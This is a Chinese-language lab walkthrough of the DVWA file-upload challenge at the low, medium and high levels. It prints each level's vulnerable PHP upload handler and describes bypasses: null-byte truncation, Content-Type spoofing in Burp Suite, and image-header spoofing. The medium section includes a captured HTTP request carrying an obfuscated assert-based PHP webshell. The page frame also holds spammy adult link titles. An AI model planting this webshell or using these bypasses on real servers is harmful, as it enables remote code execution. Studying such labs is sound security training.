国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > PHP > 正文

DWVA上傳漏洞挖掘的測試例子

2024-05-04 21:50:21
字體:
來源:轉載
供稿:網友

low:

  1. <?php 
  2.  
  3. if( isset( $_POST'Upload' ] ) ) { 
  4.     // Where are we going to be writing to? 
  5.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"
  6.     $target_path .= basename$_FILES'uploaded' ][ 'name' ] ); 
  7.  
  8.     // Can we move the file to the upload folder? 
  9.     if( !move_uploaded_file( $_FILES'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
  10.         // No 
  11.         echo '<pre>Your image was not uploaded.</pre>'
  12.     } 
  13.     else { 
  14.         // Yes! 
  15.         echo "<pre>{$target_path} succesfully uploaded!</pre>"
  16.     } 
  17.  
  18. ?> 

沒有對文件類型進行限制,直接將php文件上傳,之后訪問:http://localhost/hackable/uploads/XX.php即可。

medium:

  1. <?php 
  2.  
  3. if( isset( $_POST'Upload' ] ) ) { 
  4.     // Where are we going to be writing to? 
  5.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"
  6.     $target_path .= basename$_FILES'uploaded' ][ 'name' ] ); 
  7.  
  8.     // File information 
  9.     $uploaded_name = $_FILES'uploaded' ][ 'name' ]; 
  10.     $uploaded_type = $_FILES'uploaded' ][ 'type' ]; 
  11.     $uploaded_size = $_FILES'uploaded' ][ 'size' ]; 
  12.  
  13.     // Is it an image? 
  14.     if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
  15.         ( $uploaded_size < 100000 ) ) { 
  16.  
  17.         // Can we move the file to the upload folder? 
  18.         if( !move_uploaded_file( $_FILES'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
  19.             // No 
  20.             echo '<pre>Your image was not uploaded.</pre>'
  21.         } 
  22.         else { 
  23.             // Yes! 
  24.             echo "<pre>{$target_path} succesfully uploaded!</pre>"
  25.         } //Vevb.com 
  26.     } 
  27.     else { 
  28.         // Invalid file 
  29.         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'
  30.     } 
  31.  
  32. ?> 

對上傳的文件進行限制。

解決方法1:用burp suite進行00截斷,將文件名改為1.php .jpg(注意中間有空格)然后在攔截中將空格改為00。

解決方法2:直接上傳2.php文件之后進行攔截,數據包如下:

  1. POST /vulnerabilities/upload/ HTTP/1.1 
  2. Host: localhost 
  3. User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0 
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 
  6. Accept-Encoding: gzip, deflate 
  7. Referer: http://localhost/vulnerabilities/upload/ 
  8. Cookie: PHPSESSID=pgke4molj8bath1fmdh7mvt686; security=medium 
  9. Connection: keep-alive 
  10. Content-Type: multipart/form-data; boundary=---------------------------143381619322555 
  11. Content-Length: 549 
  12.  
  13. -----------------------------143381619322555 
  14. Content-Disposition: form-data; name="MAX_FILE_SIZE" 
  15.  
  16. 100000 
  17. -----------------------------143381619322555 
  18. Content-Disposition: form-data; name="uploaded"; filename="2.php" 
  19. Content-Type: application/octet-stream 
  20.  
  21. <?php 
  22.  
  23. $item['wind'] = 'assert'
  24.  
  25. $array[] = $item
  26.  
  27. $array[0]['wind']($_POST['loveautumn']); 
  28.  
  29. ?> 
  30. -----------------------------143381619322555 
  31. Content-Disposition: form-data; name="Upload" 
  32.  
  33. Upload 
  34. -----------------------------143381619322555-- 

將紅色的部分修改成:Content-Type: image/jpeg即可繞過。

High:

  1. <?php 
  2.  
  3. if( isset( $_POST'Upload' ] ) ) { 
  4.     // Where are we going to be writing to? 
  5.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"
  6.     $target_path .= basename$_FILES'uploaded' ][ 'name' ] ); 
  7.  
  8.     // File information 
  9.     $uploaded_name = $_FILES'uploaded' ][ 'name' ]; 
  10.     $uploaded_ext  = substr$uploaded_namestrrpos$uploaded_name'.' ) + 1); 
  11.     $uploaded_size = $_FILES'uploaded' ][ 'size' ]; 
  12.     $uploaded_tmp  = $_FILES'uploaded' ][ 'tmp_name' ]; 
  13.  
  14.     // Is it an image? 
  15.     if( ( strtolower$uploaded_ext ) == "jpg" || strtolower$uploaded_ext ) == "jpeg" || strtolower$uploaded_ext ) == "png" ) && 
  16.         ( $uploaded_size < 100000 ) && 
  17.         getimagesize$uploaded_tmp ) ) { 
  18.  
  19.         // Can we move the file to the upload folder? 
  20.         if( !move_uploaded_file( $uploaded_tmp$target_path ) ) { 
  21.             // No 
  22.             echo '<pre>Your image was not uploaded.</pre>'
  23.         } 
  24.         else { 
  25.             // Yes! 
  26.             echo "<pre>{$target_path} succesfully uploaded!</pre>"
  27.         } 
  28.     } 
  29.     else { 
  30.         // Invalid file 
  31.         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'
  32.     } 
  33.  
  34. ?> 

對圖片的命名和類型進行了嚴格的限制,那么可以用文件頭欺騙的方式來解決這個問題。另外,假設文件名為1.php.png,strrpos會截取.出現的最后位置是5,之后substr從第六位開始重新命名文件名,也就是最終上傳的文件名會被改成png,會被攔截掉。

首先使用記事本對正常圖片文件編輯,將php一句話代碼寫到圖片最下面,保存。這樣就可以欺騙文件類型的檢測。

最后對文件名的重命名進行繞過。將文件名改為1.php .png上傳,用burpsuite攔截:

Content-Disposition: form-data; name="uploaded"; filename="1.php .png"部分修改為:

Content-Disposition: form-data; name="uploaded"; filename="1.php/X00.php .png"的話可以獲得一個x00.php .png文件,這個是之前有php任意文件上傳漏洞的文章中提到過的。對空格截斷無效。目前不知道最終答案,可能是上傳一個含有一句話的jpg文件之后采用文件包含來完成?暫時存疑

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 黔南| 驻马店市| 绥宁县| 南投市| 印江| 奈曼旗| 金乡县| 海淀区| 南平市| 雅安市| 南康市| 沁阳市| 中方县| 什邡市| 南雄市| 高要市| 高密市| 丹东市| 海伦市| 宝兴县| 新河县| 三亚市| 遂昌县| 泸西县| 二连浩特市| 新密市| 城固县| 甘孜| 长沙市| 祥云县| 锦屏县| 白朗县| 孟津县| 云和县| 阳原县| 平原县| 红河县| 库伦旗| 阿拉善左旗| 高雄县| 图片|